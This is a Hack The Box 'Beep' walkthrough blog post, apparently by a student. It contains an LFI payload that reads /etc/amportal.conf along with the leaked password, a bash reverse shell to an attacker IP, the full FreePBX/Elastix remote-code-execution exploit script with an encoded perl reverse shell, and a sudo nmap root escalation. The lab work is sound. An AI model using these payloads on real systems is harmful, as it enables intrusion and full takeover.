This page looks best with JavaScript enabled

Hackthebox - Beep

 ·  ☕ 7 min read  ·  👤 Hong

Enumeration

1
nmap -sV -sC -O -vv 10.10.10.7 -oA beep
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
Host is up, received reset ttl 63 (0.019s latency).
Scanned at 2022-02-09 09:23:48 EST for 396s
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI04jN+Sn7/9f2k+5UteAWn8KKj3FRGuF4LyeDmo/xxuHgSsdCjYuWtNS8m7stqgNH5edUu8vZ0pzF/quX5kphWg/UOz9weGeGyzde5lfb8epRlTQ2kfbP00l+kq9ztuWaXOsZQGcSR9iKE4lLRJhRCLYPaEbuxKnYz4WhAv4yD5AAAAFQDXgQ9BbvoxeDahe/ksAac2ECqflwAAAIEAiGdIue6mgTfdz/HikSp8DB6SkVh4xjpTTZE8L/HOVpTUYtFYKYj9eG0W1WYo+lGg6SveATlp3EE/7Y6BqdtJNm0RfR8kihoqSL0VzKT7myerJWmP2EavMRPjkbXw32fVBdCGjBqMgDl/QSEn2NNDu8OAyQUVBEHrE4xPGI825qgAAACANnqx2XdVmY8agjD7eFLmS+EovCIRz2+iE+5chaljGD/27OgpGcjdZNN+xm85PPFjUKJQuWmwMVTQRdza6TSp9vvQAgFh3bUtTV3dzDCuoR1D2Ybj9p/bMPnyw62jgBPxj5lVd27LTBi8IAH2fZnct7794Y3Ge+5r4Pm8Qbrpy68=
|   2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4SXumrUtyO/pcRLwmvnF25NG/ozHsxSVNRmTwEf7AYubgpAo4aUuvhZXg5iymwTcZd6vm46Y+TX39NQV/yT6ilAEtLbrj1PLjJl+UTS8HDIKl6QgIb1b3vuEjbVjDj1LTq0Puzx52Es0/86WJNRVwh4c9vN8MtYteMb/dE2Azk0SQMtpBP+4Lul4kQrNwl/qjg+lQ7XE+NU7Va22dpEjLv/TjHAKImQu2EqPsC99sePp8PP5LdNbda6KHsSrZXnK9hqpxnwattPHT19D94NHVmMHfea9gXN3NCI3NVfDHQsxhqVtR/LiZzpbKHldFU0lfZYH1aTdBfxvMLrVhasZcw==
25/tcp    open  smtp       syn-ack ttl 63 Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.2.3
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       syn-ack ttl 63 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: PIPELINING APOP EXPIRE(NEVER) RESP-CODES UIDL IMPLEMENTATION(Cyrus POP3 server v2) USER AUTH-RESP-CODE STLS LOGIN-DELAY(0) TOP
111/tcp   open  rpcbind    syn-ack ttl 63 2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            876/udp   status
|_  100024  1            879/tcp   status
143/tcp   open  imap       syn-ack ttl 63 Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: UNSELECT RENAME URLAUTHA0001 LITERAL+ ACL ID X-NETSCAPE IMAP4 OK BINARY NO LIST-SUBSCRIBED LISTEXT THREAD=REFERENCES ANNOTATEMORE ATOMIC CONDSTORE RIGHTS=kxte UIDPLUS CATENATE THREAD=ORDEREDSUBJECT SORT=MODSEQ CHILDREN IMAP4rev1 SORT MULTIAPPEND QUOTA Completed NAMESPACE MAILBOX-REFERRALS IDLE STARTTLS
443/tcp   open  ssl/http   syn-ack ttl 63 Apache httpd 2.2.3 ((CentOS))
|_ssl-date: 2022-02-09T15:27:21+00:00; +1h00m00s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-04-07T08:22:08
| Not valid after:  2018-04-07T08:22:08
| MD5:   621a 82b6 cf7e 1afa 5284 1c91 60c8 fbc8
| SHA-1: 800a c6e7 065e 1198 0187 c452 0d9b 18ef e557 a09f
| -----BEGIN CERTIFICATE-----
| MIIEDjCCA3egAwIBAgICfVUwDQYJKoZIhvcNAQEFBQAwgbsxCzAJBgNVBAYTAi0t
| MRIwEAYDVQQIEwlTb21lU3RhdGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQK
| ExBTb21lT3JnYW5pemF0aW9uMR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uYWxV
| bml0MR4wHAYDVQQDExVsb2NhbGhvc3QubG9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vMwA3B2ang9
| l3zta5tXYAVj22kiNM2si4bOMQsa6FZR4AEzWCq9tZS/vTCCRaT79mWj3bUvtDkV
| 2ScJ9I/7b4/cPHDOrAKdzdKxEE2oM0cwKxSnYBJk/4aJIw==
|_-----END CERTIFICATE-----
| http-robots.txt: 1 disallowed entry 
|_/
|_http-favicon: Unknown favicon MD5: 80DCC71362B27C7D0E608B0890C05E9F
|_http-title: Elastix - Login page
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.3 (CentOS)
993/tcp   open  ssl/imap   syn-ack ttl 63 Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       syn-ack ttl 63 Cyrus pop3d
3306/tcp  open  mysql      syn-ack ttl 63 MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
4445/tcp  open  upnotifyp? syn-ack ttl 63
10000/tcp open  http       syn-ack ttl 63 MiniServ 1.570 (Webmin httpd)
|_http-server-header: MiniServ/1.570
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 74F7F6F633A027FA3EA36F05004C9341
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/9%OT=22%CT=1%CU=36256%PV=Y%DS=2%DC=I%G=Y%TM=6203D000
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=C9%GCD=1%ISR=CE%TI=Z%CI=Z%II=I%TS=A)OPS(O1
OS:=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW
OS:7%O6=M505ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=
OS:Y%DF=Y%T=40%W=16D0%O=M505NNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M505ST11NW7%RD=0%Q
OS:=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL
OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.409 days (since Tue Feb  8 23:41:52 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com

Directory Enum

1
dirb https://10.10.10.7/
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
==> DIRECTORY: https://10.10.10.7/admin/
+ https://10.10.10.7/cgi-bin/ (CODE:403|SIZE:286)                        
                                                                          ==> DIRECTORY: https://10.10.10.7/configs/
+ https://10.10.10.7/favicon.ico (CODE:200|SIZE:894)                     
                                                                          ==> DIRECTORY: https://10.10.10.7/help/
                                                                          ==> DIRECTORY: https://10.10.10.7/images/
+ https://10.10.10.7/index.php (CODE:200|SIZE:1785)                      
                                                                          ==> DIRECTORY: https://10.10.10.7/lang/
                                                                          ==> DIRECTORY: https://10.10.10.7/libs/
                                                                          ==> DIRECTORY: https://10.10.10.7/mail/
                                                                          ==> DIRECTORY: https://10.10.10.7/modules/
                                                                          ==> DIRECTORY: https://10.10.10.7/panel/
+ https://10.10.10.7/robots.txt (CODE:200|SIZE:28)                       
                                                                          ==> DIRECTORY: https://10.10.10.7/static/
                                                                          ==> DIRECTORY: https://10.10.10.7/themes/
                                                                          ==> DIRECTORY: https://10.10.10.7/var/
                                                                         
---- Entering directory: https://10.10.10.7/admin/ ----
                                                                          ==> DIRECTORY: https://10.10.10.7/admin/common/                                
+ https://10.10.10.7/admin/favicon.ico (CODE:200|SIZE:318)               
==> DIRECTORY: https://10.10.10.7/admin/images/                                
+ https://10.10.10.7/admin/index.php (CODE:302|SIZE:0)                   
+ https://10.10.10.7/admin/modules (CODE:403|SIZE:291)                   
+ https://10.10.10.7/admin/views (CODE:403|SIZE:289)                     
                                                                         
---- Entering directory: https://10.10.10.7/configs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                         
---- Entering directory: https://10.10.10.7/help/ ----
==> DIRECTORY: https://10.10.10.7/help/content/                                
+ https://10.10.10.7/help/index.php (CODE:200|SIZE:346)                  
                                                                         
---- Entering directory: https://10.10.10.7/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                         
---- Entering directory: https://10.10.10.7/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                         
---- Entering directory: https://10.10.10.7/libs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                         
---- Entering directory: https://10.10.10.7/mail/ ----
==> DIRECTORY: https://10.10.10.7/mail/bin/                                    
+ https://10.10.10.7/mail/config (CODE:403|SIZE:289)                     
+ https://10.10.10.7/mail/index.php (CODE:200|SIZE:2649)                 
==> DIRECTORY: https://10.10.10.7/mail/installer/                              
+ https://10.10.10.7/mail/LICENSE (CODE:200|SIZE:17987)                  
+ https://10.10.10.7/mail/logs (CODE:403|SIZE:287)                       
==> DIRECTORY: https://10.10.10.7/mail/plugins/                                
==> DIRECTORY: https://10.10.10.7/mail/program/                                
+ https://10.10.10.7/mail/README (CODE:200|SIZE:1856)                    
+ https://10.10.10.7/mail/robots.txt (CODE:200|SIZE:26)                  
==> DIRECTORY: https://10.10.10.7/mail/skins/                                  
==> DIRECTORY: https://10.10.10.7/mail/SQL/                                    
+ https://10.10.10.7/mail/temp (CODE:403|SIZE:287)                       
                                                                         
---- Entering directory: https://10.10.10.7/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                         
---- Entering directory: https://10.10.10.7/panel/ ----
^Z> Testing: https://10.10.10.7/panel/akeeba.backend.log

LFI Exploit

  • Search google Elastix exploit
  • →https://www.exploit-db.com/exploits/37637 (Local File Inclusion exploit)
1
#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
  • Go to →https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf&module=Accounts&action
  • Right click → View Selection Source (View in nice format)
  • Password used in multiple ocasion → jEhdIekWmdjE

  • Creds for login to Elastix: → admin : jEhdIekWmdjE
  • Another login page →https://10.10.10.7:10000/
    • root : jEhdIekWmdjE

Escalate Privileges

  • After loging-in into →https://10.10.10.7:10000/
  • Go to Cluster → Cluster Shell Commands

RCE

1
2
3
4
5
6
# Input reverse command found in pentestmonkey reverse bash shell

bash -i >& /dev/tcp/10.10.14.35/8080 0>&1

# Select "this server"
# Run Command Now

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# We obtained root

cd home
cd fanis
cat user.txt
	-> ********************************

cd /root
cat root.txt
	-> ********************************

Escalate Privileges and Exploit 2

Source → https://www.exploit-db.com/exploits/18650

1
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.

1
2
3
searchsploit -m 18649.py 

mv 18649.py exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts, SSL update by Emporeo
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
import ssl
rhost="10.10.10.7" # Modify the rhost to the vulnerable machine
lhost="10.10.14.35" # Modify to local machine
lport=443 
extension="233" # This extension can be found after login in to admin portal

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
1
2
3
4
5
6
7
8
nc -lvnp 443

python exploit.py

cd /home
cd fanis
cat user.txt
	-> ********************************

Escalate Root

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Following this attack -> https://www.exploit-db.com/exploits/18650

# sudo nmap --interactive
# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

sudo -l
	-> (root) NOPASSWD: /usr/bin/nmap # Attacking nmap vector

sudo nmap --interactive
!sh

cd /root
cat root.txt
	-> ********************************

Skills Learned

  • Web-based fuzzing
  • Identifying known exploits
  • Exploiting local file inclusion
    vulnerabilities

Hong Woo
WRITTEN BY
Hong
📚Cybersecurity Student🚩CTF Player☁️Cloud Computing